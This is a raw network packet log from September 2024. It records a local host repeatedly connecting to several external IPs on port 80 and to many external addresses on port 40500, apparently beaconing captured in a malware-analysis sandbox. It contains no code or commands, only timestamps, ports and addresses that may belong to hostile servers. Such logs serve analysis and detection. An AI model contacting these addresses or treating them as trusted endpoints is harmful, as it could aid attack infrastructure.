Sep 17, 2024 23:12:05.511034966 CEST	80	49807	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:05.511147976 CEST	49807	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:05.511257887 CEST	49807	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:05.516562939 CEST	80	49807	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:07.188385963 CEST	80	49807	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:07.188452005 CEST	49807	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:07.221750975 CEST	49807	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:07.228400946 CEST	80	49807	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:08.129131079 CEST	49808	40500	192.168.2.4	151.242.54.207
Sep 17, 2024 23:12:08.134202003 CEST	40500	49808	151.242.54.207	192.168.2.4
Sep 17, 2024 23:12:08.134324074 CEST	49808	40500	192.168.2.4	151.242.54.207
Sep 17, 2024 23:12:08.135730982 CEST	49808	40500	192.168.2.4	151.242.54.207
Sep 17, 2024 23:12:08.140681982 CEST	40500	49808	151.242.54.207	192.168.2.4
Sep 17, 2024 23:12:08.140755892 CEST	49808	40500	192.168.2.4	151.242.54.207
Sep 17, 2024 23:12:08.143924952 CEST	49808	40500	192.168.2.4	151.242.54.207
Sep 17, 2024 23:12:08.145648956 CEST	40500	49808	151.242.54.207	192.168.2.4
Sep 17, 2024 23:12:08.189383984 CEST	40500	49808	151.242.54.207	192.168.2.4
Sep 17, 2024 23:12:09.240498066 CEST	49809	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:09.245539904 CEST	80	49809	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:09.245800018 CEST	49809	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:09.245800018 CEST	49809	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:09.250590086 CEST	80	49809	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:09.414012909 CEST	40500	49798	82.200.224.194	192.168.2.4
Sep 17, 2024 23:12:09.417040110 CEST	49798	40500	192.168.2.4	82.200.224.194
Sep 17, 2024 23:12:10.900790930 CEST	80	49809	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:10.900881052 CEST	49809	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:10.900930882 CEST	49809	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:10.905935049 CEST	80	49809	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:12.937695980 CEST	49810	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:12.985651970 CEST	80	49810	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:12.985769033 CEST	49810	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:12.986103058 CEST	49810	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:13.040534019 CEST	80	49810	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:13.191797018 CEST	49811	40500	192.168.2.4	5.235.246.49
Sep 17, 2024 23:12:13.209384918 CEST	40500	49811	5.235.246.49	192.168.2.4
Sep 17, 2024 23:12:13.209495068 CEST	49811	40500	192.168.2.4	5.235.246.49
Sep 17, 2024 23:12:13.225720882 CEST	49811	40500	192.168.2.4	5.235.246.49
Sep 17, 2024 23:12:13.269351006 CEST	49811	40500	192.168.2.4	5.235.246.49
Sep 17, 2024 23:12:13.277179956 CEST	40500	49811	5.235.246.49	192.168.2.4
Sep 17, 2024 23:12:13.565782070 CEST	49811	40500	192.168.2.4	5.235.246.49
Sep 17, 2024 23:12:13.606034040 CEST	40500	49811	5.235.246.49	192.168.2.4
Sep 17, 2024 23:12:13.629051924 CEST	40500	49811	5.235.246.49	192.168.2.4
Sep 17, 2024 23:12:14.779342890 CEST	80	49810	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:14.779580116 CEST	49810	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:14.779664993 CEST	49810	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:14.801037073 CEST	80	49810	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:16.802189112 CEST	49812	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:16.809103012 CEST	80	49812	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:16.809173107 CEST	49812	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:16.809278011 CEST	49812	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:16.821739912 CEST	80	49812	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:18.285341978 CEST	49813	40500	192.168.2.4	109.200.174.222
Sep 17, 2024 23:12:18.292438984 CEST	40500	49813	109.200.174.222	192.168.2.4
Sep 17, 2024 23:12:18.292565107 CEST	49813	40500	192.168.2.4	109.200.174.222
Sep 17, 2024 23:12:18.293869972 CEST	49813	40500	192.168.2.4	109.200.174.222
Sep 17, 2024 23:12:18.298926115 CEST	40500	49813	109.200.174.222	192.168.2.4
Sep 17, 2024 23:12:18.298995972 CEST	49813	40500	192.168.2.4	109.200.174.222
Sep 17, 2024 23:12:18.300685883 CEST	49813	40500	192.168.2.4	109.200.174.222
Sep 17, 2024 23:12:18.303879976 CEST	40500	49813	109.200.174.222	192.168.2.4
Sep 17, 2024 23:12:18.354024887 CEST	40500	49813	109.200.174.222	192.168.2.4
Sep 17, 2024 23:12:18.493155003 CEST	80	49812	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:18.495368004 CEST	49812	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:18.495574951 CEST	49812	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:18.878278971 CEST	49812	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:18.913873911 CEST	80	49812	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:18.915170908 CEST	49812	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:19.199734926 CEST	80	49812	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:19.199783087 CEST	80	49812	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:19.199888945 CEST	49812	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:19.661302090 CEST	40500	49804	2.183.100.16	192.168.2.4
Sep 17, 2024 23:12:19.661535025 CEST	49804	40500	192.168.2.4	2.183.100.16
Sep 17, 2024 23:12:20.520932913 CEST	49814	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:20.526204109 CEST	80	49814	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:20.527004957 CEST	49814	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:20.527097940 CEST	49814	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:20.532430887 CEST	80	49814	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:22.405818939 CEST	80	49814	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:22.405915976 CEST	49814	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:22.406094074 CEST	49814	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:12:22.414688110 CEST	80	49814	77.91.77.92	192.168.2.4
Sep 17, 2024 23:12:23.316504955 CEST	49815	40500	192.168.2.4	213.230.126.39
Sep 17, 2024 23:12:23.322115898 CEST	40500	49815	213.230.126.39	192.168.2.4
Sep 17, 2024 23:12:23.322212934 CEST	49815	40500	192.168.2.4	213.230.126.39
Sep 17, 2024 23:12:23.323297977 CEST	49815	40500	192.168.2.4	213.230.126.39
Sep 17, 2024 23:12:23.328326941 CEST	40500	49815	213.230.126.39	192.168.2.4
Sep 17, 2024 23:12:23.328397989 CEST	49815	40500	192.168.2.4	213.230.126.39
Sep 17, 2024 23:12:23.331442118 CEST	49815	40500	192.168.2.4	213.230.126.39
Sep 17, 2024 23:12:23.333739996 CEST	40500	49815	213.230.126.39	192.168.2.4
Sep 17, 2024 23:12:23.377593994 CEST	40500	49815	213.230.126.39	192.168.2.4
Sep 17, 2024 23:12:24.458720922 CEST	40500	49806	5.232.149.197	192.168.2.4
Sep 17, 2024 23:12:24.458786011 CEST	49806	40500	192.168.2.4	5.232.149.197
Sep 17, 2024 23:12:25.444511890 CEST	49816	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:25.451554060 CEST	80	49816	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:25.451675892 CEST	49816	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:25.451838017 CEST	49816	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:25.457576036 CEST	80	49816	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:26.509773016 CEST	80	49816	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:26.509943962 CEST	80	49816	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:26.509984970 CEST	80	49816	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:26.510019064 CEST	80	49816	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:26.510035038 CEST	49816	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:26.510072947 CEST	80	49816	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:26.510107994 CEST	80	49816	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:26.510123014 CEST	49816	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:26.510123014 CEST	49816	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:26.510123014 CEST	49816	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:26.510144949 CEST	80	49816	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:26.510154009 CEST	49816	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:26.510179996 CEST	80	49816	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:26.510200977 CEST	49816	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:26.510231972 CEST	49816	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:26.510664940 CEST	49816	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:26.510704994 CEST	49816	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:26.510905027 CEST	80	49816	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:26.510940075 CEST	80	49816	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:26.510977030 CEST	49816	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:26.511010885 CEST	49816	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:26.511456013 CEST	80	49816	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:26.511990070 CEST	80	49816	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:26.512044907 CEST	49816	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:26.512592077 CEST	49816	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:26.522176027 CEST	80	49816	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:26.522250891 CEST	49816	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:27.527102947 CEST	49817	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:28.070878029 CEST	80	49817	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:28.071275949 CEST	49817	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:28.071275949 CEST	49817	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:28.077002048 CEST	80	49817	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:28.347719908 CEST	49818	40500	192.168.2.4	194.93.26.70
Sep 17, 2024 23:12:28.370312929 CEST	40500	49818	194.93.26.70	192.168.2.4
Sep 17, 2024 23:12:28.370408058 CEST	49818	40500	192.168.2.4	194.93.26.70
Sep 17, 2024 23:12:28.371566057 CEST	49818	40500	192.168.2.4	194.93.26.70
Sep 17, 2024 23:12:28.378308058 CEST	49818	40500	192.168.2.4	194.93.26.70
Sep 17, 2024 23:12:28.390610933 CEST	40500	49818	194.93.26.70	192.168.2.4
Sep 17, 2024 23:12:28.440141916 CEST	40500	49818	194.93.26.70	192.168.2.4
Sep 17, 2024 23:12:28.782985926 CEST	80	49803	185.215.113.66	192.168.2.4
Sep 17, 2024 23:12:28.783216953 CEST	49803	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:28.823597908 CEST	80	49817	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:28.823653936 CEST	80	49817	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:28.823663950 CEST	49817	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:28.823693037 CEST	49817	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:28.823692083 CEST	80	49817	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:28.823726892 CEST	80	49817	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:28.823734045 CEST	49817	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:28.823759079 CEST	80	49817	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:28.823761940 CEST	49817	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:28.823796034 CEST	80	49817	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:28.823800087 CEST	49817	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:28.823827982 CEST	80	49817	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:28.823837042 CEST	49817	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:28.823865891 CEST	49817	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:28.823868990 CEST	80	49817	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:28.823905945 CEST	49817	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:28.823914051 CEST	80	49817	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:28.823950052 CEST	80	49817	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:28.823957920 CEST	49817	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:28.823986053 CEST	49817	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:28.829000950 CEST	80	49817	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:28.829052925 CEST	49817	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:29.554887056 CEST	40500	49808	151.242.54.207	192.168.2.4
Sep 17, 2024 23:12:29.556041956 CEST	49808	40500	192.168.2.4	151.242.54.207
Sep 17, 2024 23:12:33.400969982 CEST	49819	40500	192.168.2.4	91.246.92.22
Sep 17, 2024 23:12:33.406198978 CEST	40500	49819	91.246.92.22	192.168.2.4
Sep 17, 2024 23:12:33.406287909 CEST	49819	40500	192.168.2.4	91.246.92.22
Sep 17, 2024 23:12:33.419585943 CEST	49819	40500	192.168.2.4	91.246.92.22
Sep 17, 2024 23:12:33.424668074 CEST	40500	49819	91.246.92.22	192.168.2.4
Sep 17, 2024 23:12:33.424750090 CEST	49819	40500	192.168.2.4	91.246.92.22
Sep 17, 2024 23:12:33.429759979 CEST	40500	49819	91.246.92.22	192.168.2.4
Sep 17, 2024 23:12:33.446604967 CEST	49819	40500	192.168.2.4	91.246.92.22
Sep 17, 2024 23:12:33.493465900 CEST	40500	49819	91.246.92.22	192.168.2.4
Sep 17, 2024 23:12:34.912028074 CEST	49817	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:34.912336111 CEST	49820	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:35.281239986 CEST	40500	49811	5.235.246.49	192.168.2.4
Sep 17, 2024 23:12:35.281698942 CEST	40500	49811	5.235.246.49	192.168.2.4
Sep 17, 2024 23:12:35.281900883 CEST	40500	49811	5.235.246.49	192.168.2.4
Sep 17, 2024 23:12:35.282010078 CEST	49811	40500	192.168.2.4	5.235.246.49
Sep 17, 2024 23:12:35.282010078 CEST	49811	40500	192.168.2.4	5.235.246.49
Sep 17, 2024 23:12:35.284437895 CEST	80	49820	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:35.284482002 CEST	49811	40500	192.168.2.4	5.235.246.49
Sep 17, 2024 23:12:35.284488916 CEST	80	49817	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:35.284538031 CEST	49820	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:35.284563065 CEST	49817	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:35.284993887 CEST	49820	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:35.288481951 CEST	40500	49811	5.235.246.49	192.168.2.4
Sep 17, 2024 23:12:35.290528059 CEST	40500	49811	5.235.246.49	192.168.2.4
Sep 17, 2024 23:12:35.290554047 CEST	80	49820	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:35.986341000 CEST	80	49820	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:35.986388922 CEST	80	49820	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:35.986409903 CEST	80	49820	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:35.986664057 CEST	80	49820	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:35.986689091 CEST	80	49820	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:35.986706018 CEST	80	49820	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:35.986722946 CEST	80	49820	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:35.986821890 CEST	49820	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:35.986821890 CEST	49820	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:35.986821890 CEST	49820	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:35.988200903 CEST	49820	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:35.988267899 CEST	49820	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:38.023427010 CEST	49821	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:38.028389931 CEST	80	49821	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:38.028450966 CEST	49821	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:38.028651953 CEST	49821	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:38.033406973 CEST	80	49821	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:38.443094015 CEST	49822	40500	192.168.2.4	79.170.184.222
Sep 17, 2024 23:12:38.448179007 CEST	40500	49822	79.170.184.222	192.168.2.4
Sep 17, 2024 23:12:38.449022055 CEST	49822	40500	192.168.2.4	79.170.184.222
Sep 17, 2024 23:12:38.450015068 CEST	49822	40500	192.168.2.4	79.170.184.222
Sep 17, 2024 23:12:38.455420971 CEST	40500	49822	79.170.184.222	192.168.2.4
Sep 17, 2024 23:12:38.455485106 CEST	49822	40500	192.168.2.4	79.170.184.222
Sep 17, 2024 23:12:38.456450939 CEST	49822	40500	192.168.2.4	79.170.184.222
Sep 17, 2024 23:12:38.461096048 CEST	40500	49822	79.170.184.222	192.168.2.4
Sep 17, 2024 23:12:38.509538889 CEST	40500	49822	79.170.184.222	192.168.2.4
Sep 17, 2024 23:12:38.728172064 CEST	80	49821	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:38.729098082 CEST	49821	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:39.727009058 CEST	40500	49813	109.200.174.222	192.168.2.4
Sep 17, 2024 23:12:39.727222919 CEST	49813	40500	192.168.2.4	109.200.174.222
Sep 17, 2024 23:12:40.755122900 CEST	49821	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:40.755361080 CEST	49823	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:40.760368109 CEST	80	49821	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:40.760441065 CEST	49821	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:40.760557890 CEST	80	49823	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:40.760632992 CEST	49823	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:40.760751009 CEST	49823	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:40.766241074 CEST	80	49823	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:41.466754913 CEST	80	49823	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:41.467262030 CEST	49823	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:43.472879887 CEST	49824	40500	192.168.2.4	95.59.118.94
Sep 17, 2024 23:12:43.489656925 CEST	49823	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:43.489867926 CEST	49825	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:43.831474066 CEST	49823	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:44.085017920 CEST	40500	49824	95.59.118.94	192.168.2.4
Sep 17, 2024 23:12:44.085028887 CEST	80	49825	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:44.085040092 CEST	80	49823	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:44.085247040 CEST	49824	40500	192.168.2.4	95.59.118.94
Sep 17, 2024 23:12:44.085854053 CEST	49825	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:44.085854053 CEST	49825	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:44.085875988 CEST	80	49823	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:44.085949898 CEST	49823	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:44.088418961 CEST	49824	40500	192.168.2.4	95.59.118.94
Sep 17, 2024 23:12:44.090631008 CEST	80	49825	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:44.093488932 CEST	40500	49824	95.59.118.94	192.168.2.4
Sep 17, 2024 23:12:44.093560934 CEST	49824	40500	192.168.2.4	95.59.118.94
Sep 17, 2024 23:12:44.097110033 CEST	49824	40500	192.168.2.4	95.59.118.94
Sep 17, 2024 23:12:44.098409891 CEST	40500	49824	95.59.118.94	192.168.2.4
Sep 17, 2024 23:12:44.145685911 CEST	40500	49824	95.59.118.94	192.168.2.4
Sep 17, 2024 23:12:44.680017948 CEST	40500	49815	213.230.126.39	192.168.2.4
Sep 17, 2024 23:12:44.680084944 CEST	49815	40500	192.168.2.4	213.230.126.39
Sep 17, 2024 23:12:44.777846098 CEST	80	49825	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:44.777939081 CEST	49825	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:46.801721096 CEST	49825	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:46.801991940 CEST	49826	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:46.807009935 CEST	80	49826	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:46.807121992 CEST	49826	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:46.807213068 CEST	49826	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:46.807260036 CEST	80	49825	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:46.807306051 CEST	49825	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:46.812207937 CEST	80	49826	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:47.533663988 CEST	80	49826	91.202.233.141	192.168.2.4
Sep 17, 2024 23:12:47.533844948 CEST	49826	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:12:49.113404036 CEST	49827	40500	192.168.2.4	2.176.184.81
Sep 17, 2024 23:12:49.118777990 CEST	40500	49827	2.176.184.81	192.168.2.4
Sep 17, 2024 23:12:49.119450092 CEST	49827	40500	192.168.2.4	2.176.184.81
Sep 17, 2024 23:12:49.120564938 CEST	49827	40500	192.168.2.4	2.176.184.81
Sep 17, 2024 23:12:49.125507116 CEST	40500	49827	2.176.184.81	192.168.2.4
Sep 17, 2024 23:12:49.127433062 CEST	49827	40500	192.168.2.4	2.176.184.81
Sep 17, 2024 23:12:49.128313065 CEST	49827	40500	192.168.2.4	2.176.184.81
Sep 17, 2024 23:12:49.132262945 CEST	40500	49827	2.176.184.81	192.168.2.4
Sep 17, 2024 23:12:49.173525095 CEST	40500	49827	2.176.184.81	192.168.2.4
Sep 17, 2024 23:12:49.762367964 CEST	40500	49818	194.93.26.70	192.168.2.4
Sep 17, 2024 23:12:49.762428045 CEST	49818	40500	192.168.2.4	194.93.26.70
Sep 17, 2024 23:12:50.678517103 CEST	49803	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:50.678832054 CEST	49828	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:50.683809042 CEST	80	49803	185.215.113.66	192.168.2.4
Sep 17, 2024 23:12:50.683836937 CEST	80	49828	185.215.113.66	192.168.2.4
Sep 17, 2024 23:12:50.683896065 CEST	49828	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:50.684051037 CEST	49828	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:50.689387083 CEST	80	49828	185.215.113.66	192.168.2.4
Sep 17, 2024 23:12:51.008256912 CEST	40500	49827	2.176.184.81	192.168.2.4
Sep 17, 2024 23:12:51.008348942 CEST	49827	40500	192.168.2.4	2.176.184.81
Sep 17, 2024 23:12:51.404925108 CEST	80	49828	185.215.113.66	192.168.2.4
Sep 17, 2024 23:12:51.407500982 CEST	49828	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:53.427396059 CEST	49828	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:53.427757025 CEST	49829	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:53.434288025 CEST	80	49828	185.215.113.66	192.168.2.4
Sep 17, 2024 23:12:53.434379101 CEST	49828	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:53.434393883 CEST	80	49829	185.215.113.66	192.168.2.4
Sep 17, 2024 23:12:53.434468031 CEST	49829	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:53.434623957 CEST	49829	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:53.440577984 CEST	80	49829	185.215.113.66	192.168.2.4
Sep 17, 2024 23:12:54.129080057 CEST	49830	40500	192.168.2.4	5.233.220.4
Sep 17, 2024 23:12:54.134042025 CEST	40500	49830	5.233.220.4	192.168.2.4
Sep 17, 2024 23:12:54.135077000 CEST	49830	40500	192.168.2.4	5.233.220.4
Sep 17, 2024 23:12:54.136496067 CEST	49830	40500	192.168.2.4	5.233.220.4
Sep 17, 2024 23:12:54.141452074 CEST	40500	49830	5.233.220.4	192.168.2.4
Sep 17, 2024 23:12:54.143565893 CEST	49830	40500	192.168.2.4	5.233.220.4
Sep 17, 2024 23:12:54.144021034 CEST	49830	40500	192.168.2.4	5.233.220.4
Sep 17, 2024 23:12:54.148442030 CEST	40500	49830	5.233.220.4	192.168.2.4
Sep 17, 2024 23:12:54.150146008 CEST	80	49829	185.215.113.66	192.168.2.4
Sep 17, 2024 23:12:54.150335073 CEST	49829	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:54.193593979 CEST	40500	49830	5.233.220.4	192.168.2.4
Sep 17, 2024 23:12:54.811352015 CEST	40500	49819	91.246.92.22	192.168.2.4
Sep 17, 2024 23:12:54.815378904 CEST	49819	40500	192.168.2.4	91.246.92.22
Sep 17, 2024 23:12:56.176781893 CEST	49829	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:56.177052975 CEST	49831	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:56.182873011 CEST	80	49831	185.215.113.66	192.168.2.4
Sep 17, 2024 23:12:56.182955027 CEST	49831	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:56.183052063 CEST	49831	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:56.183196068 CEST	80	49829	185.215.113.66	192.168.2.4
Sep 17, 2024 23:12:56.183355093 CEST	49829	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:56.188163996 CEST	80	49831	185.215.113.66	192.168.2.4
Sep 17, 2024 23:12:56.870342970 CEST	80	49831	185.215.113.66	192.168.2.4
Sep 17, 2024 23:12:56.871464968 CEST	49831	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:58.896806955 CEST	49831	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:58.897732973 CEST	49832	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:58.902276039 CEST	80	49831	185.215.113.66	192.168.2.4
Sep 17, 2024 23:12:58.902997971 CEST	80	49832	185.215.113.66	192.168.2.4
Sep 17, 2024 23:12:58.903134108 CEST	49831	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:58.903194904 CEST	49832	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:58.903496981 CEST	49832	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:58.908679008 CEST	80	49832	185.215.113.66	192.168.2.4
Sep 17, 2024 23:12:59.161263943 CEST	49833	40500	192.168.2.4	5.190.248.13
Sep 17, 2024 23:12:59.166320086 CEST	40500	49833	5.190.248.13	192.168.2.4
Sep 17, 2024 23:12:59.166397095 CEST	49833	40500	192.168.2.4	5.190.248.13
Sep 17, 2024 23:12:59.170533895 CEST	49833	40500	192.168.2.4	5.190.248.13
Sep 17, 2024 23:12:59.175407887 CEST	40500	49833	5.190.248.13	192.168.2.4
Sep 17, 2024 23:12:59.175468922 CEST	49833	40500	192.168.2.4	5.190.248.13
Sep 17, 2024 23:12:59.221374989 CEST	40500	49833	5.190.248.13	192.168.2.4
Sep 17, 2024 23:12:59.606447935 CEST	80	49832	185.215.113.66	192.168.2.4
Sep 17, 2024 23:12:59.607089996 CEST	49832	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:12:59.827030897 CEST	40500	49822	79.170.184.222	192.168.2.4
